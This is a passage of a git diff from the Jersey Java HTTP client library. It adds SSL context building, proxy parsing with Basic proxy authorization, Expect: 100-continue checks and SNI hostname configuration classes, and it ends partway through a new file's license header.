+ private static final DefaultSslContextProvider DEFAULT_SSL_CONTEXT_PROVIDER = new DefaultSslContextProvider() {
+ @Override
+ public SSLContext getDefaultSslContext() {
+ return SslConfigurator.getDefaultContext();
+ }
+ };
+
+ /**
+ * Set the SSL context that will be used when creating secured transport connections
+ * to server endpoints from {@link WebTarget web targets} created by the client
+ * instance that is using this SSL context. The SSL context is expected to have all the
+ * security infrastructure initialized, including the key and trust managers.
+ *
+ * Setting a SSL context instance resets any {@link #keyStore(java.security.KeyStore, char[])
+ * key store} or {@link #trustStore(java.security.KeyStore) trust store} values previously
+ * specified.
+ *
+ *
+ * @param sslContext secure socket protocol implementation which acts as a factory
+ * for secure socket factories or {@link javax.net.ssl.SSLEngine
+ * SSL engines}. Must not be {@code null}.
+ * @return an updated ssl client context builder instance.
+ * @throws NullPointerException in case the {@code sslContext} parameter is {@code null}.
+ * @see #keyStore(java.security.KeyStore, char[])
+ * @see #keyStore(java.security.KeyStore, String)
+ * @see #trustStore
+ */
+ public SslContextClientBuilder sslContext(SSLContext sslContext) {
+ if (sslContext == null) {
+ throw new NullPointerException(LocalizationMessages.NULL_SSL_CONTEXT());
+ }
+ this.sslContext = sslContext;
+ sslConfigurator = null;
+ return this;
+ }
+
+ /**
+ * Set the client-side key store. Key store contains client's private keys, and the certificates with their
+ * corresponding public keys.
+ *
+ * Setting a key store instance resets any {@link #sslContext(javax.net.ssl.SSLContext) SSL context instance}
+ * value previously specified.
+ *
+ *
+ * Note that for improved security of working with password data and avoid storing passwords in Java string
+ * objects, the {@link #keyStore(java.security.KeyStore, char[])} version of the method can be utilized.
+ * Also note that a custom key store is only required if you want to enable a custom setup of a 2-way SSL
+ * connections (client certificate authentication).
+ *
+ *
+ * @param keyStore client-side key store. Must not be {@code null}.
+ * @param password client key password. Must not be {@code null}.
+ * @return an updated ssl client context builder instance.
+ * @throws NullPointerException in case any of the supplied parameters is {@code null}.
+ * @see #sslContext
+ * @see #keyStore(java.security.KeyStore, char[])
+ * @see #trustStore
+ */
+ public SslContextClientBuilder keyStore(KeyStore keyStore, char[] password) {
+ if (keyStore == null) {
+ throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE());
+ }
+ if (password == null) {
+ throw new NullPointerException(LocalizationMessages.NULL_KEYSTORE_PASWORD());
+ }
+ if (sslConfigurator == null) {
+ sslConfigurator = SslConfigurator.newInstance();
+ }
+ sslConfigurator.keyStore(keyStore);
+ sslConfigurator.keyPassword(password);
+ sslContext = null;
+ return this;
+ }
+
+ /**
+ * Set the client-side trust store. Trust store is expected to contain certificates from other parties
+ * the client is you expect to communicate with, or from Certificate Authorities that are trusted to
+ * identify other parties.
+ *
+ * Setting a trust store instance resets any {@link #sslContext(javax.net.ssl.SSLContext) SSL context instance}
+ * value previously specified.
+ *
+ *
+ * In case a custom trust store or custom SSL context is not specified, the trust management will be
+ * configured to use the default Java runtime settings.
+ *
+ *
+ * @param trustStore client-side trust store. Must not be {@code null}.
+ * @return an updated ssl client context builder instance.
+ * @throws NullPointerException in case the supplied trust store parameter is {@code null}.
+ * @see #sslContext
+ * @see #keyStore(java.security.KeyStore, char[])
+ * @see #keyStore(java.security.KeyStore, String)
+ */
+ public SslContextClientBuilder trustStore(KeyStore trustStore) {
+ if (trustStore == null) {
+ throw new NullPointerException(LocalizationMessages.NULL_TRUSTSTORE());
+ }
+ if (sslConfigurator == null) {
+ sslConfigurator = SslConfigurator.newInstance();
+ }
+ sslConfigurator.trustStore(trustStore);
+ sslContext = null;
+ return this;
+ }
+
+ /**
+ * Set the client-side key store. Key store contains client's private keys, and the certificates with their
+ * corresponding public keys.
+ *
+ * Setting a key store instance resets any {@link #sslContext(javax.net.ssl.SSLContext) SSL context instance}
+ * value previously specified.
+ *
+ *
+ * Note that for improved security of working with password data and avoid storing passwords in Java string
+ * objects, the {@link #keyStore(java.security.KeyStore, char[])} version of the method can be utilized.
+ * Also note that a custom key store is only required if you want to enable a custom setup of a 2-way SSL
+ * connections (client certificate authentication).
+ *
+ *
+ * @param keyStore client-side key store. Must not be {@code null}.
+ * @param password client key password. Must not be {@code null}.
+ * @return an updated ssl client context builder instance.
+ * @throws NullPointerException in case any of the supplied parameters is {@code null}.
+ * @see #sslContext
+ * @see #keyStore(java.security.KeyStore, char[])
+ * @see #trustStore
+ */
+ public SslContextClientBuilder keyStore(final KeyStore keyStore, final String password) {
+ return keyStore(keyStore, password.toCharArray());
+ }
+
+ /**
+ * Get information about used {@link SSLContext}.
+ *
+ * @return {@code true} when used {@code SSLContext} is acquired from {@link SslConfigurator#getDefaultContext()},
+ * {@code false} otherwise.
+ */
+ public boolean isDefaultSslContext() {
+ return sslContext == null && sslConfigurator == null;
+ }
+
+ /**
+ * Supply SSLContext from this builder.
+ * @return {@link SSLContext}
+ */
+ @Override
+ public SSLContext get() {
+ return suppliedValue.get();
+ }
+
+ /**
+ * Build SSLContext from the Builder.
+ * @return {@link SSLContext}
+ */
+ public SSLContext build() {
+ return suppliedValue.get();
+ }
+
+ /**
+ * Set the default SSL context provider.
+ * @param defaultSslContextProvider the default SSL context provider.
+ * @return an updated ssl client context builder instance.
+ */
+ protected SslContextClientBuilder defaultSslContextProvider(DefaultSslContextProvider defaultSslContextProvider) {
+ this.defaultSslContextProvider = defaultSslContextProvider;
+ return this;
+ }
+
+ /**
+ * Supply the {@link SSLContext} to the supplier. Can throw illegal state exception when there is a problem with creating or
+ * obtaining default SSL context.
+ * @return SSLContext
+ */
+ private SSLContext supply() {
+ final SSLContext providedValue;
+ if (sslContext != null) {
+ providedValue = sslContext;
+ } else if (sslConfigurator != null) {
+ final SslConfigurator sslConfiguratorCopy = sslConfigurator.copy();
+ providedValue = sslConfiguratorCopy.createSSLContext();
+ } else {
+ providedValue = null;
+ }
+
+ final SSLContext returnValue;
+ if (providedValue == null) {
+ if (defaultSslContextProvider != null) {
+ returnValue = defaultSslContextProvider.getDefaultSslContext();
+ } else {
+ final DefaultSslContextProvider lookedUpSslContextProvider;
+
+ final Iterator iterator =
+ ServiceFinder.find(DefaultSslContextProvider.class).iterator();
+
+ if (iterator.hasNext()) {
+ lookedUpSslContextProvider = iterator.next();
+ } else {
+ lookedUpSslContextProvider = DEFAULT_SSL_CONTEXT_PROVIDER;
+ }
+
+ returnValue = lookedUpSslContextProvider.getDefaultSslContext();
+ }
+ } else {
+ returnValue = providedValue;
+ }
+
+ return returnValue;
+ }
+}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/filter/EncodingFilter.java b/core-client/src/main/java/org/glassfish/jersey/client/filter/EncodingFilter.java
index 7b99abd7d41..99702038806 100644
--- a/core-client/src/main/java/org/glassfish/jersey/client/filter/EncodingFilter.java
+++ b/core-client/src/main/java/org/glassfish/jersey/client/filter/EncodingFilter.java
@@ -1,5 +1,5 @@
/*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -25,6 +25,7 @@
import jakarta.ws.rs.client.ClientRequestContext;
import jakarta.ws.rs.client.ClientRequestFilter;
+import jakarta.ws.rs.core.Context;
import jakarta.ws.rs.core.HttpHeaders;
import jakarta.inject.Inject;
@@ -49,10 +50,15 @@
* @author Martin Matula
*/
public final class EncodingFilter implements ClientRequestFilter {
- @Inject
- private InjectionManager injectionManager;
+
+ private final InjectionManager injectionManager;
private volatile List supportedEncodings = null;
+ @Inject
+ public EncodingFilter(@Context InjectionManager injectionManager) {
+ this.injectionManager = injectionManager;
+ }
+
@Override
public void filter(ClientRequestContext request) throws IOException {
if (getSupportedEncodings().isEmpty()) {
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/ClientProxy.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/ClientProxy.java
new file mode 100644
index 00000000000..68ab324c20a
--- /dev/null
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/ClientProxy.java
@@ -0,0 +1,212 @@
+/*
+ * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.client.innate;
+
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientRequest;
+import org.glassfish.jersey.client.internal.LocalizationMessages;
+
+import jakarta.ws.rs.ProcessingException;
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.MultivaluedMap;
+import java.net.InetSocketAddress;
+import java.net.Proxy;
+import java.net.ProxySelector;
+import java.net.SocketAddress;
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.util.Arrays;
+import java.util.Base64;
+import java.util.Locale;
+import java.util.Optional;
+
+/**
+ * Default client Proxy information internal object. It is used for parsing the proxy information in all connectors.
+ */
+public abstract class ClientProxy {
+
+ private ClientProxy() {
+ // do not instantiate
+ };
+
+ public static Optional proxyFromRequest(ClientRequest request) {
+ return getProxy(request);
+ }
+
+ public static Optional proxyFromProperties(URI requestUri) {
+ return getSystemPropertiesProxy(requestUri);
+ }
+
+ public static Optional proxyFromConfiguration(Configuration configuration) {
+ return getProxy(configuration);
+ }
+
+ public static ClientProxy proxy(Proxy proxy) {
+ return new ProxyClientProxy(proxy);
+ }
+
+ public static void setBasicAuthorizationHeader(MultivaluedMap headers, ClientProxy proxy) {
+ if (proxy.userName() != null) {
+ StringBuilder auth = new StringBuilder().append(proxy.userName()).append(":");
+ if (proxy.password() != null) {
+ auth.append(proxy.password());
+ }
+ String encoded = "Basic " + Base64.getEncoder().encodeToString(auth.toString().getBytes());
+ headers.put("Proxy-Authorization", Arrays.asList(encoded));
+ }
+ }
+
+ protected String userName;
+ protected String password;
+
+ private static ClientProxy toProxy(Object proxy) {
+ if (proxy instanceof String) {
+ return new UriClientProxy(URI.create((String) proxy));
+ } else if (proxy instanceof URI) {
+ return new UriClientProxy((URI) proxy);
+ } else if (Proxy.class.isInstance(proxy)) {
+ Proxy netProxy = Proxy.class.cast(proxy);
+ if (Proxy.Type.HTTP.equals(netProxy.type())) {
+ return new ProxyClientProxy(Proxy.class.cast(proxy));
+ } else {
+ return null;
+ }
+ } else {
+ throw new ProcessingException(LocalizationMessages.WRONG_PROXY_URI_TYPE(ClientProperties.PROXY_URI));
+ }
+ }
+
+ public abstract Proxy proxy();
+
+ public abstract URI uri();
+
+ public abstract Proxy.Type type();
+
+ public String password() {
+ return password;
+ }
+
+ public String userName() {
+ return userName;
+ };
+
+ private static Optional getProxy(ClientRequest request) {
+ Object proxyUri = request.resolveProperty(ClientProperties.PROXY_URI, Object.class);
+ if (proxyUri != null) {
+ ClientProxy proxy = toProxy(proxyUri);
+ if (proxy != null) {
+ proxy.userName = request.resolveProperty(ClientProperties.PROXY_USERNAME, String.class);
+ proxy.password = request.resolveProperty(ClientProperties.PROXY_PASSWORD, String.class);
+ return Optional.of(proxy);
+ } else {
+ return Optional.empty();
+ }
+ }
+ return Optional.empty();
+ }
+
+ private static Optional getProxy(Configuration config) {
+ Object proxyUri = config.getProperties().get(ClientProperties.PROXY_URI);
+ if (proxyUri != null) {
+ ClientProxy proxy = toProxy(proxyUri);
+ if (proxy != null) {
+ proxy.userName = ClientProperties.getValue(config.getProperties(), ClientProperties.PROXY_USERNAME, String.class);
+ proxy.password = ClientProperties.getValue(config.getProperties(), ClientProperties.PROXY_PASSWORD, String.class);
+ return Optional.of(proxy);
+ } else {
+ return Optional.empty();
+ }
+ }
+ return Optional.empty();
+ }
+
+ private static Optional getSystemPropertiesProxy(URI requestUri) {
+ ProxySelector sel = ProxySelector.getDefault();
+ for (Proxy proxy: sel.select(requestUri)) {
+ if (Proxy.Type.HTTP.equals(proxy.type())) {
+ return Optional.of(new ProxyClientProxy(proxy));
+ }
+ }
+ return Optional.empty();
+ }
+
+ private static final class ProxyClientProxy extends ClientProxy {
+
+ private final Proxy proxy;
+
+ private ProxyClientProxy(Proxy proxy) {
+ this.proxy = proxy;
+ }
+
+ @Override
+ public Proxy proxy() {
+ return proxy;
+ }
+
+ @Override
+ public Proxy.Type type() {
+ return proxy.type();
+ }
+
+ @Override
+ public URI uri() {
+ URI uri = null;
+ if (Proxy.Type.HTTP.equals(proxy.type())) {
+ SocketAddress proxyAddress = proxy.address();
+ if (InetSocketAddress.class.isInstance(proxy.address())) {
+ InetSocketAddress proxyAddr = (InetSocketAddress) proxyAddress;
+ try {
+ if (proxyAddr.isUnresolved()
+ && proxyAddr.getHostName() != null
+ && proxyAddr.getHostName().toLowerCase(Locale.ROOT).startsWith("http://")) {
+ String hostString = proxyAddr.getHostString().substring(7);
+ uri = new URI("http", null, hostString, proxyAddr.getPort(), null, null, null);
+ } else {
+ uri = new URI("http", null, proxyAddr.getHostString(), proxyAddr.getPort(), null, null, null);
+ }
+ } catch (URISyntaxException e) {
+ throw new ProcessingException(e);
+ }
+ }
+ }
+ return uri;
+ }
+ }
+
+ private static final class UriClientProxy extends ClientProxy {
+ private final URI uri;
+
+ private UriClientProxy(URI uri) {
+ this.uri = uri;
+ }
+
+ @Override
+ public Proxy proxy() {
+ return new Proxy(type(), new InetSocketAddress(uri.getHost(), uri.getPort()));
+ }
+
+ @Override
+ public Proxy.Type type() {
+ return Proxy.Type.HTTP;
+ }
+
+ @Override
+ public URI uri() {
+ return uri;
+ }
+ }
+}
+
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java
new file mode 100644
index 00000000000..7c45854c802
--- /dev/null
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java
@@ -0,0 +1,60 @@
+/*
+ * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.client.innate;
+
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientRequest;
+import org.glassfish.jersey.client.RequestEntityProcessing;
+
+/**
+ * Utility class to check whether it's possible to send the Expect header within request.
+ */
+public final class Expect100ContinueUsage {
+
+ private Expect100ContinueUsage() {
+ //do not instantiate
+ }
+
+ /**
+ * Checks if usage of the Expect header with 100-Continue value is allowed
+ *
+ * @param request client's request
+ * @param requestMethod method of the request (GET, POST, PUT etc).
+ * @return true if the Expect header is allowed.
+ */
+ public static boolean isAllowed(ClientRequest request, String requestMethod) {
+
+ long requestLength = request.getLengthLong();
+
+ final RequestEntityProcessing entityProcessing = request.resolveProperty(
+ ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.class);
+
+ final Boolean expectContinueActivated = request.resolveProperty(
+ ClientProperties.EXPECT_100_CONTINUE, Boolean.class);
+ final Long expectContinueSizeThreshold = request.resolveProperty(
+ ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE,
+ ClientProperties.DEFAULT_EXPECT_100_CONTINUE_THRESHOLD_SIZE);
+
+ final boolean allowStreaming = requestLength > expectContinueSizeThreshold
+ || entityProcessing == RequestEntityProcessing.CHUNKED;
+
+ return !(!Boolean.TRUE.equals(expectContinueActivated)
+ || !("POST".equals(requestMethod) || "PUT".equals(requestMethod))
+ || !allowStreaming
+ );
+ }
+}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java
new file mode 100644
index 00000000000..cb32a5c62cf
--- /dev/null
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java
@@ -0,0 +1,232 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.client.innate.http;
+
+import jakarta.ws.rs.core.Configuration;
+import jakarta.ws.rs.core.HttpHeaders;
+import org.glassfish.jersey.client.ClientProperties;
+import org.glassfish.jersey.client.ClientRequest;
+
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLParameters;
+import javax.net.ssl.SSLSocket;
+import jakarta.ws.rs.core.UriBuilder;
+import org.glassfish.jersey.internal.PropertiesResolver;
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+
+import java.net.InetAddress;
+import java.net.URI;
+import java.net.UnknownHostException;
+import java.util.List;
+import java.util.Map;
+import java.util.Optional;
+import java.util.Properties;
+
+/**
+ * A unified routines to configure {@link SSLParameters}.
+ * To be reused in connectors.
+ */
+public final class SSLParamConfigurator {
+ private final URI uri;
+ private final Optional sniConfigurator;
+
+ /**
+ * Builder of the {@link SSLParamConfigurator} instance.
+ */
+ public static final class Builder {
+ private URI uri = null;
+ private String sniHostNameHeader = null;
+ private String sniHostNameProperty = null;
+ private boolean setAlways = false;
+
+ /**
+ * Sets the SNIHostName and {@link URI} from the {@link ClientRequest} instance.
+ * @param clientRequest the {@link ClientRequest}
+ * @return the builder instance
+ */
+ public Builder request(ClientRequest clientRequest) {
+ this.sniHostNameHeader = getSniHostNameHeader(clientRequest.getHeaders());
+ this.sniHostNameProperty = clientRequest.resolveProperty(ClientProperties.SNI_HOST_NAME, String.class);
+ this.uri = clientRequest.getUri();
+ return this;
+ }
+
+ /**
+ * Sets the SNIHostName from the {@link Configuration} instance.
+ * @param configuration the {@link Configuration}
+ * @return the builder instance
+ */
+ public Builder configuration(Configuration configuration) {
+ this.sniHostNameProperty = (String) configuration.getProperty(ClientProperties.SNI_HOST_NAME);
+ return this;
+ }
+
+ /**
+ * Sets the HTTP request {@link URI} instance.
+ * @param uri The request uri
+ * @return the builder instance
+ */
+ public Builder uri(URI uri) {
+ this.uri = uri;
+ return this;
+ }
+
+ /**
+ * Sets the HTTP request headers
+ * @param httpHeaders the http request headers
+ * @return the builder instance
+ */
+ public Builder headers(Map> httpHeaders) {
+ this.sniHostNameHeader = getSniHostNameHeader(httpHeaders);
+ return this;
+ }
+
+ /**
+ * Sets SNI only when {@link jakarta.ws.rs.core.HttpHeaders#HOST} differs from the request host name if set to
+ * {@code false}. Default is {@code false}.
+ * @param setAlways set SNI always (default)
+ * @return the builder instance
+ */
+ public Builder setSNIAlways(boolean setAlways) {
+ this.setAlways = setAlways;
+ return this;
+ }
+
+ /**
+ * Builds the {@link SSLParamConfigurator} instance.
+ * @return the configured {@link SSLParamConfigurator} instance.
+ */
+ public SSLParamConfigurator build() {
+ return new SSLParamConfigurator(this);
+ }
+
+ private static String getSniHostNameHeader(Map> httpHeaders) {
+ List hostHeaders = httpHeaders.get(HttpHeaders.HOST);
+ if (hostHeaders == null || hostHeaders.get(0) == null) {
+ return null;
+ }
+
+ final String hostHeader = hostHeaders.get(0).toString();
+ final String trimmedHeader;
+ if (hostHeader != null) {
+ int index = hostHeader.indexOf(':'); // RFC 7230 Host = uri-host [ ":" port ] ;
+ final String trimmedHeader0 = index != -1 ? hostHeader.substring(0, index).trim() : hostHeader.trim();
+ trimmedHeader = trimmedHeader0.isEmpty() ? hostHeader : trimmedHeader0;
+ } else {
+ trimmedHeader = null;
+ }
+
+ return trimmedHeader;
+ }
+ }
+
+ private SSLParamConfigurator(SSLParamConfigurator.Builder builder) {
+ String sniHostName = builder.sniHostNameHeader == null ? builder.sniHostNameProperty : builder.sniHostNameHeader;
+ uri = builder.uri;
+ sniConfigurator = SniConfigurator.createWhenHostHeader(uri, sniHostName, builder.setAlways);
+ }
+
+ /**
+ * Create a new instance of TlsSupport class
+ **/
+ public static SSLParamConfigurator.Builder builder() {
+ return new SSLParamConfigurator.Builder();
+ }
+
+ /**
+ * Get the host name either set by the request URI or by
+ * {@link jakarta.ws.rs.core.HttpHeaders#HOST} header if it differs from HTTP request host name.
+ * @return the hostName the {@link SSLEngine} is to use.
+ */
+ public String getSNIHostName() {
+ return sniConfigurator.isPresent() ? sniConfigurator.get().getHostName() : uri.getHost();
+ }
+
+ /**
+ * Replaces hostname within the {@link ClientRequest} uri with a resolved IP address. Should the hostname be not known,
+ * the original request URI is returned. The purpose of this method is to replace the host with the IP so that
+ * {code HttpUrlConnection} does not replace user defined {@link javax.net.ssl.SNIHostName} with the host from the request
+ * uri.
+ * @return the request uri with ip address of the resolved host.
+ */
+ public URI toIPRequestUri() {
+ String host = uri.getHost();
+ try {
+ InetAddress ip = InetAddress.getByName(host);
+ return UriBuilder.fromUri(uri).host(ip.getHostAddress()).build();
+ } catch (UnknownHostException e) {
+ return uri;
+ }
+ }
+
+ /**
+ * Return true iff SNI is to be set, i.e.
+ * {@link jakarta.ws.rs.core.HttpHeaders#HOST} header if it differs from HTTP request host name.
+ * @return Return {@code true} when {@link javax.net.ssl.SNIHostName} is to be set.
+ */
+ public boolean isSNIRequired() {
+ return sniConfigurator.isPresent();
+ }
+
+ /**
+ * Get the request URI or altered by {@link jakarta.ws.rs.core.HttpHeaders#HOST} header.
+ * @return The possibly altered request URI.
+ * @see #getSNIHostName()
+ */
+ public URI getSNIUri() {
+ return sniConfigurator.isPresent() ? UriBuilder.fromUri(uri).host(getSNIHostName()).build() : uri;
+ }
+
+ /**
+ * Set {@link javax.net.ssl.SNIServerName} for the {@link SSLParameters} when SNI should be used
+ * (i.e. {@link jakarta.ws.rs.core.HttpHeaders#HOST} differs from HTTP request host name)
+ * @param sslEngine the {@link SSLEngine} the {@link SSLParameters} are set for.
+ */
+ public void setSNIServerName(SSLEngine sslEngine) {
+ sniConfigurator.ifPresent(sni -> sni.setServerNames(sslEngine));
+ }
+
+
+ /**
+ * Set {@link javax.net.ssl.SNIServerName} for the {@link SSLParameters} when SNI should be used
+ * (i.e. {@link jakarta.ws.rs.core.HttpHeaders#HOST} differs from HTTP request host name)
+ * @param sslSocket the {@link SSLSocket} the {@link SSLParameters} are set for.
+ */
+ public void setSNIServerName(SSLSocket sslSocket) {
+ sniConfigurator.ifPresent(sni -> sni.setServerNames(sslSocket));
+ }
+
+ /**
+ * Set {@link javax.net.ssl.SNIServerName} for the {@link SSLParameters} when SNI should be used
+ * (i.e. {@link jakarta.ws.rs.core.HttpHeaders#HOST} differs from HTTP request host name)
+ * @param parameters the {@link SSLParameters} to be set
+ */
+ public void setSNIServerName(SSLParameters parameters) {
+ sniConfigurator.ifPresent(sni -> sni.updateSSLParameters(parameters));
+ }
+
+ /**
+ * Set setEndpointIdentificationAlgorithm to HTTPS. This is to prevent man-in-the-middle attacks.
+ * @param sslEngine the {@link SSLEngine} the algorithm is set for.
+ * @see SSLParameters#setEndpointIdentificationAlgorithm(String)
+ */
+ public void setEndpointIdentificationAlgorithm(SSLEngine sslEngine) {
+ SSLParameters sslParameters = sslEngine.getSSLParameters();
+ sslParameters.setEndpointIdentificationAlgorithm("HTTPS");
+ sslEngine.setSSLParameters(sslParameters);
+ }
+}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java
new file mode 100644
index 00000000000..9e766f539f4
--- /dev/null
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.client.innate.http;
+
+import org.glassfish.jersey.client.internal.LocalizationMessages;
+
+import javax.net.ssl.SNIHostName;
+import javax.net.ssl.SNIServerName;
+import javax.net.ssl.SSLEngine;
+import javax.net.ssl.SSLParameters;
+import javax.net.ssl.SSLSocket;
+import jakarta.ws.rs.core.HttpHeaders;
+import java.net.URI;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Optional;
+import java.util.logging.Logger;
+
+/**
+ * A unified routines to set {@link SNIHostName} for the {@link javax.net.ssl.SSLContext}.
+ * To be reused in connectors.
+ */
+final class SniConfigurator {
+ private static final Logger LOGGER = Logger.getLogger(SniConfigurator.class.getName());
+ private final String hostName;
+ private SniConfigurator(String hostName) {
+ this.hostName = hostName;
+ }
+
+ /**
+ * Get the hostName from the {@link HttpHeaders#HOST} header.
+ * @return
+ */
+ String getHostName() {
+ return hostName;
+ }
+
+ /**
+ * Create ClientSNI when {@link HttpHeaders#HOST} is set different from the request URI host (or {@code whenDiffer}.is false).
+ * @param hostUri the Uri of the HTTP request
+ * @param sniHostName the SniHostName either from HttpHeaders or the
+ * {@link org.glassfish.jersey.client.ClientProperties#SNI_HOST_NAME} property from Configuration object.
+ * @param whenDiffer create {@SniConfigurator only when different from the request URI host}
+ * @return ClientSNI or empty when {@link HttpHeaders#HOST}
+ */
+ static Optional createWhenHostHeader(URI hostUri, String sniHostName, boolean whenDiffer) {
+ if (sniHostName == null) {
+ return Optional.empty();
+ }
+
+ if (hostUri != null) {
+ final String hostUriString = hostUri.getHost();
+ if (!whenDiffer && hostUriString.equals(sniHostName)) {
+ return Optional.empty();
+ }
+ }
+
+ return Optional.of(new SniConfigurator(sniHostName));
+ }
+
+ /**
+ * Set {@link SNIServerName} for the given {@link SSLEngine} SSLParameters.
+ * @param sslEngine
+ */
+ void setServerNames(SSLEngine sslEngine) {
+ SSLParameters sslParameters = sslEngine.getSSLParameters();
+ updateSSLParameters(sslParameters);
+ sslEngine.setSSLParameters(sslParameters);
+ LOGGER.fine(LocalizationMessages.SNI_ON_SSLENGINE());
+ }
+
+ /**
+ * Set {@link SNIServerName} for the given {@link SSLSocket} SSLParameters.
+ * @param sslSocket
+ */
+ void setServerNames(SSLSocket sslSocket) {
+ SSLParameters sslParameters = sslSocket.getSSLParameters();
+ updateSSLParameters(sslParameters);
+ sslSocket.setSSLParameters(sslParameters);
+ LOGGER.fine(LocalizationMessages.SNI_ON_SSLSOCKET());
+ }
+
+ SSLParameters updateSSLParameters(SSLParameters sslParameters) {
+ SNIHostName serverName = new SNIHostName(hostName);
+ List serverNames = new LinkedList<>();
+ serverNames.add(serverName);
+
+ sslParameters.setServerNames(serverNames);
+ LOGGER.finer(LocalizationMessages.SNI_UPDATE_SSLPARAMS(hostName));
+
+ return sslParameters;
+ }
+
+}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/package-info.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/package-info.java
new file mode 100644
index 00000000000..bbedce040c0
--- /dev/null
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/package-info.java
@@ -0,0 +1,21 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+/**
+ * Jersey client MOST INTERNAL http related classes/interfaces.
+ * Shall not be used outside of Jersey. The module shall not be exported to outside of Jersey.
+ */
+package org.glassfish.jersey.client.innate.http;
\ No newline at end of file
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
new file mode 100644
index 00000000000..047bba811b4
--- /dev/null
+++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
@@ -0,0 +1,1049 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
